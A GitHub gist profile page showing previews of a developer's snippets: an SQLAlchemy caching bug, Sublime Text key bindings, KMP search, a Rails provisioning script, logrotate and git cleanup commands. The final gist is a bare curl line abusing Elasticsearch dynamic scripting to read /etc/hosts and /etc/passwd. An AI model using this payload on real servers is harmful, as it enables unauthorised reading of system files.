Skip to content

Instantly share code, notes, and snippets.

View simsicon's full-sized avatar

simsicon

  • Shanghai
View GitHub Profile
@simsicon
simsicon / main.py
Last active September 16, 2021 10:15
Sqlalchemy subquery is cached, the result is incorrect respect to the different parameters
from sqlalchemy import create_engine, select, func, text
from sqlalchemy.orm import sessionmaker, declarative_base
from sqlalchemy import Column, Integer, Date
import datetime
#SQLAlchemy==1.4.23 psycopg2==2.9.1 with postgresql 13
engine = create_engine("postgresql+psycopg2://postgres:postgres@127.0.0.1:5432/sa_test?sslmode=disable", echo=False)
Session = sessionmaker(engine)
Base = declarative_base()
@simsicon
simsicon / sublime_fix_home_end_keys.md
Created August 10, 2021 06:09 — forked from ihor-lev/sublime_fix_home_end_keys.md
Fix Sublime Text Home and End key usage on Mac OSX

Sublime Text Home/End keys default functionality jumps to the beginning and end of the file.

Fix Home and End keys to move the cursor to the beginning and end of lines.

Preferences > Key Bindings - User

Adding the following to the array:

{ "keys": ["home"], "command": "move_to", "args": {"to": "bol"} },
{ "keys": ["end"], "command": "move_to", "args": {"to": "eol"} },
import math
class Tree:
def __init__(self, seq):
self.root = seq[0]
self.left_seq, self.right_seq = [], []
if len(seq) == 1:
self.leaf = True
self.left = None
@simsicon
simsicon / kmp.py
Last active December 5, 2016 03:21
def kmp(text, pattern):
partial = [0]
for i in range(1, len(pattern)):
j = partial[i - 1]
while j > 0 and pattern[j] != pattern[i]:
j = partial[j - 1]
partial.append(j + 1 if pattern[j] == pattern[i] else j)
ret = []
@simsicon
simsicon / mlm.md
Last active July 14, 2016 10:24
Machine Learning Machine, 2016-07, Under 2500 USD
@simsicon
simsicon / provisioning.sh
Created May 6, 2016 11:09
A provisioning script for Rails webapp on Ubuntu 14.04 LTS
### Install Git and build deps
sudo apt-get update
sudo apt-get install software-properties-common tmux htop curl zlib1g-dev build-essential libssl-dev libreadline-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev libcurl4-openssl-dev libffi-dev tcl8.5
sudo add-apt-repository ppa:git-core/ppa
sudo apt-get update
sudo apt-get install git
### Install rbenv and ruby
cd
git clone https://github.com/rbenv/rbenv.git ~/.rbenv
@simsicon
simsicon / logrotate.conf
Created March 24, 2016 05:57
Helpful logrotate configuration
/var/log/app.log {
weekly
missingok
rotate 52
compress
delaycompress
notifempty
copytruncate
}
@simsicon
simsicon / gist:5eaf04b9c3db0ba342cb
Created July 8, 2015 04:38
Remove merged branch
git branch --merged master | grep -v "\* master" | grep -v "develop" | xargs -n 1 git branch -d
git branch -r --merged master | grep -v ">" | grep -v "develop" | grep -v "master" | sed 's/ *origin\///' | xargs -n 1 git push origin --delete
$.ajax
type: 'GET'
url: "http://crossdomain.com/data"
async: true
contentType: "application/json"
dataType: 'jsonp'
jsonpCallback: 'success_jsonpCallback'
success: (response) ->
console.log( response )
curl http://localhost:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery1111003201273805461824_1400992064967&_=1400992064968